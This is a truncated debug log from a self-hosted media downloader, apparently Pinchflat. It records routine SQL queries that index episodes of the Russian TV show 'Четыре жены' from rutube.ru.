SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:15.542 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.2ms idle=112.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:15.547 [debug] QUERY OK source="media_items" db=4.0ms idle=112.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76340] 20:59:15.548 [debug] Current batch of media processed. Will check again in 1000ms 20:59:16.549 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Ксюша из Нижнего Тагила, Лена из Санкт-Петербурга, Мальвина из Новосибирска и Настя из Волгограда покажут, как складывается их семейная жизнь. Девушки побывают в гостях друг у друга, познакомят соперниц со своей самореализацией и покажут отношения в семье. Кто из участниц победит, узнаем из программы «Четыре жены».", "duration" => 7115, "filename" => "/downloads/rutubeShows/4 жены/Season 2024/s2024e070500 - Четыре жены 2: Умная жена, кайфуша, самовлюбленная, 4 в 1.mp4", "id" => "6bf0c6e7aaa0e583a76753caab0cab72", "original_url" => "https://rutube.ru/video/6bf0c6e7aaa0e583a76753caab0cab72/", "playlist_index" => 18, "timestamp" => 1720188614, "title" => "Четыре жены 2: Умная жена, кайфуша, самовлюбленная, 4 в 1", "upload_date" => "20240705"} 20:59:16.551 [debug] QUERY OK source="sources" db=1.0ms queue=0.7ms idle=1029.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:16.553 [debug] QUERY OK source="sources" db=0.8ms idle=1011.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:16.555 [debug] QUERY OK source="media_items" db=1.8ms idle=1010.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-05 14:10:14Z], 6] 20:59:16.634 [debug] QUERY OK source="media_items" db=78.1ms idle=1008.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Ксюша из Нижнего Тагила, Лена из Санкт-Петербурга, Мальвина из Новосибирска и Настя из Волгограда покажут, как складывается их семейная жизнь. Девушки побывают в гостях друг у друга, познакомят соперниц со своей самореализацией и покажут отношения в семье. Кто из участниц победит, узнаем из программы «Четыре жены».", "Четыре жены 2: Умная жена, кайфуша, самовлюбленная, 4 в 1", "5b8f623c-e5e9-494a-be68-e165797e59a6", "6bf0c6e7aaa0e583a76753caab0cab72", 7115, false, "https://rutube.ru/video/6bf0c6e7aaa0e583a76753caab0cab72/", 18, "/downloads/rutubeShows/4 жены/Season 2024/s2024e070500 - Четыре жены 2: Умная жена, кайфуша, самовлюбленная, 4 в 1.mp4", false, false, false, 6, [], 1, ~U[2024-07-05 14:10:14Z], ~U[2025-12-08 17:59:16Z], ~U[2025-12-08 17:59:16Z], "Ксюша из Нижнего Тагила, Лена из Санкт-Петербурга, Мальвина из Новосибирска и Настя из Волгограда покажут, как складывается их семейная жизнь. Девушки побывают в гостях друг у друга, познакомят соперниц со своей самореализацией и покажут отношения в семье. Кто из участниц победит, узнаем из программы «Четыре жены».", "Четыре жены 2: Умная жена, кайфуша, самовлюбленная, 4 в 1", "6bf0c6e7aaa0e583a76753caab0cab72", 7115, false, "https://rutube.ru/video/6bf0c6e7aaa0e583a76753caab0cab72/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e070500 - Четыре жены 2: Умная жена, кайфуша, самовлюбленная, 4 в 1.mp4", false, 6, ~U[2024-07-05 14:10:14Z]] 20:59:16.645 [debug] QUERY OK source="sources" db=10.1ms idle=916.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:16.649 [debug] QUERY OK source="media_profiles" db=2.2ms queue=0.1ms idle=95.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:16.650 [debug] QUERY OK source="media_items" db=0.7ms idle=96.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76341] 20:59:16.651 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "В этом выпуске примут участие жена-дива Юлиана из Москвы, авантюристка Оксана из Санкт-Петербурга, жена-вулкан Валерия из Краснодара и жена-добытчица Елизавета из Москвы. Как героини оценят хозяйственность, отношения в семье и самореализацию друг друга, покажет программа «Четыре жены».", "duration" => 7166, "filename" => "/downloads/rutubeShows/4 жены/Season 2024/s2024e071100 - Четыре жены, 2 сезон, 8 выпуск.mp4", "id" => "cbdd574361484a6443e342d6e09331ac", "original_url" => "https://rutube.ru/video/cbdd574361484a6443e342d6e09331ac/", "playlist_index" => 19, "timestamp" => 1720707011, "title" => "Четыре жены, 2 сезон, 8 выпуск", "upload_date" => "20240711"} 20:59:16.652 [debug] QUERY OK source="sources" db=1.2ms idle=96.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:16.653 [debug] QUERY OK source="sources" db=0.2ms idle=19.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:16.657 [debug] QUERY OK source="media_items" db=3.4ms idle=8.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-11 14:10:11Z], 6] 20:59:16.728 [debug] QUERY OK source="media_items" db=70.1ms idle=8.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске примут участие жена-дива Юлиана из Москвы, авантюристка Оксана из Санкт-Петербурга, жена-вулкан Валерия из Краснодара и жена-добытчица Елизавета из Москвы. Как героини оценят хозяйственность, отношения в семье и самореализацию друг друга, покажет программа «Четыре жены».", "Четыре жены, 2 сезон, 8 выпуск", "5067ea3f-5238-4d86-9d5b-94c6c38132d3", "cbdd574361484a6443e342d6e09331ac", 7166, false, "https://rutube.ru/video/cbdd574361484a6443e342d6e09331ac/", 19, "/downloads/rutubeShows/4 жены/Season 2024/s2024e071100 - Четыре жены, 2 сезон, 8 выпуск.mp4", false, false, false, 6, [], 1, ~U[2024-07-11 14:10:11Z], ~U[2025-12-08 17:59:16Z], ~U[2025-12-08 17:59:16Z], "В этом выпуске примут участие жена-дива Юлиана из Москвы, авантюристка Оксана из Санкт-Петербурга, жена-вулкан Валерия из Краснодара и жена-добытчица Елизавета из Москвы. Как героини оценят хозяйственность, отношения в семье и самореализацию друг друга, покажет программа «Четыре жены».", "Четыре жены, 2 сезон, 8 выпуск", "cbdd574361484a6443e342d6e09331ac", 7166, false, "https://rutube.ru/video/cbdd574361484a6443e342d6e09331ac/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e071100 - Четыре жены, 2 сезон, 8 выпуск.mp4", false, 6, ~U[2024-07-11 14:10:11Z]] 20:59:16.742 [debug] QUERY OK source="sources" db=12.6ms idle=77.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:16.744 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=89.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:16.746 [debug] QUERY OK source="media_items" db=1.7ms idle=87.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76342] 20:59:16.747 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре жены приглашают в гости. Татьяна из Челябинска будет демонстрировать соперницам свою мудрость в семейной жизни. Алёна из Москвы покажет, насколько она творческая жена. Ирина из Москвы расскажет участницам, что значит быть ненасытной женой. А Алина из Краснодара докажет, действительно ли она является женой-другом. Смотрите программу «Четыре жены»!", "duration" => 6414, "filename" => "/downloads/rutubeShows/4 жены/Season 2024/s2024e071800 - Четыре жены 2: Творческая жена, ненасытная, мудрая, друг.mp4", "id" => "b212e79c2631dc0596c54718c360e29f", "original_url" => "https://rutube.ru/video/b212e79c2631dc0596c54718c360e29f/", "playlist_index" => 20, "timestamp" => 1721311237, "title" => "Четыре жены 2: Творческая жена, ненасытная, мудрая, друг", "upload_date" => "20240718"} 20:59:16.748 [debug] QUERY OK source="sources" db=0.5ms idle=19.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:16.749 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:16.751 [debug] QUERY OK source="media_items" db=0.5ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-18 14:00:37Z], 6] 20:59:16.863 [debug] QUERY OK source="media_items" db=111.3ms idle=6.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре жены приглашают в гости. Татьяна из Челябинска будет демонстрировать соперницам свою мудрость в семейной жизни. Алёна из Москвы покажет, насколько она творческая жена. Ирина из Москвы расскажет участницам, что значит быть ненасытной женой. А Алина из Краснодара докажет, действительно ли она является женой-другом. Смотрите программу «Четыре жены»!", "Четыре жены 2: Творческая жена, ненасытная, мудрая, друг", "02217ec1-76b7-4df8-8a71-528afbc7721b", "b212e79c2631dc0596c54718c360e29f", 6414, false, "https://rutube.ru/video/b212e79c2631dc0596c54718c360e29f/", 20, "/downloads/rutubeShows/4 жены/Season 2024/s2024e071800 - Четыре жены 2: Творческая жена, ненасытная, мудрая, друг.mp4", false, false, false, 6, [], 1, ~U[2024-07-18 14:00:37Z], ~U[2025-12-08 17:59:16Z], ~U[2025-12-08 17:59:16Z], "Четыре жены приглашают в гости. Татьяна из Челябинска будет демонстрировать соперницам свою мудрость в семейной жизни. Алёна из Москвы покажет, насколько она творческая жена. Ирина из Москвы расскажет участницам, что значит быть ненасытной женой. А Алина из Краснодара докажет, действительно ли она является женой-другом. Смотрите программу «Четыре жены»!", "Четыре жены 2: Творческая жена, ненасытная, мудрая, друг", "b212e79c2631dc0596c54718c360e29f", 6414, false, "https://rutube.ru/video/b212e79c2631dc0596c54718c360e29f/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e071800 - Четыре жены 2: Творческая жена, ненасытная, мудрая, друг.mp4", false, 6, ~U[2024-07-18 14:00:37Z]] 20:59:16.871 [debug] QUERY OK source="sources" db=7.6ms queue=0.1ms idle=116.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:16.872 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=123.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:16.873 [debug] QUERY OK source="media_items" db=0.4ms idle=122.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76343] 20:59:16.873 [debug] Current batch of media processed. Will check again in 1000ms 20:59:17.874 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "В этом выпуске примут участие креативная жена Екатерина из Екатеринбурга, безбашенная жена Евгения из Стерлитамака, жена-звёздочка Эмилия из Казани и токсичная жена Ангелина из Рязани. Как девушки оценят семейную жизнь друг друга, увидим в программе «Четыре жены».", "duration" => 6363, "filename" => "/downloads/rutubeShows/4 жены/Season 2024/s2024e072500 - Четыре жены 2: Безбашенная жена, токсичная, креативная, звезда.mp4", "id" => "bc51abdf2c419e1d28acbdbf0f08138c", "original_url" => "https://rutube.ru/video/bc51abdf2c419e1d28acbdbf0f08138c/", "playlist_index" => 21, "timestamp" => 1721918420, "title" => "Четыре жены 2: Безбашенная жена, токсичная, креативная, звезда", "upload_date" => "20240725"} 20:59:17.875 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1012.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:17.876 [debug] QUERY OK source="sources" db=0.6ms idle=1004.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:17.877 [debug] QUERY OK source="media_items" db=0.5ms idle=1005.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-25 14:40:20Z], 6] 20:59:17.992 [debug] QUERY OK source="media_items" db=114.1ms idle=1005.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске примут участие креативная жена Екатерина из Екатеринбурга, безбашенная жена Евгения из Стерлитамака, жена-звёздочка Эмилия из Казани и токсичная жена Ангелина из Рязани. Как девушки оценят семейную жизнь друг друга, увидим в программе «Четыре жены».", "Четыре жены 2: Безбашенная жена, токсичная, креативная, звезда", "90edc8ee-cc9f-4675-9394-694662397405", "bc51abdf2c419e1d28acbdbf0f08138c", 6363, false, "https://rutube.ru/video/bc51abdf2c419e1d28acbdbf0f08138c/", 21, "/downloads/rutubeShows/4 жены/Season 2024/s2024e072500 - Четыре жены 2: Безбашенная жена, токсичная, креативная, звезда.mp4", false, false, false, 6, [], 1, ~U[2024-07-25 14:40:20Z], ~U[2025-12-08 17:59:17Z], ~U[2025-12-08 17:59:17Z], "В этом выпуске примут участие креативная жена Екатерина из Екатеринбурга, безбашенная жена Евгения из Стерлитамака, жена-звёздочка Эмилия из Казани и токсичная жена Ангелина из Рязани. Как девушки оценят семейную жизнь друг друга, увидим в программе «Четыре жены».", "Четыре жены 2: Безбашенная жена, токсичная, креативная, звезда", "bc51abdf2c419e1d28acbdbf0f08138c", 6363, false, "https://rutube.ru/video/bc51abdf2c419e1d28acbdbf0f08138c/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e072500 - Четыре жены 2: Безбашенная жена, токсичная, креативная, звезда.mp4", false, 6, ~U[2024-07-25 14:40:20Z]] 20:59:18.000 [debug] QUERY OK source="sources" db=7.2ms queue=0.1ms idle=246.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:18.002 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.2ms idle=125.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", 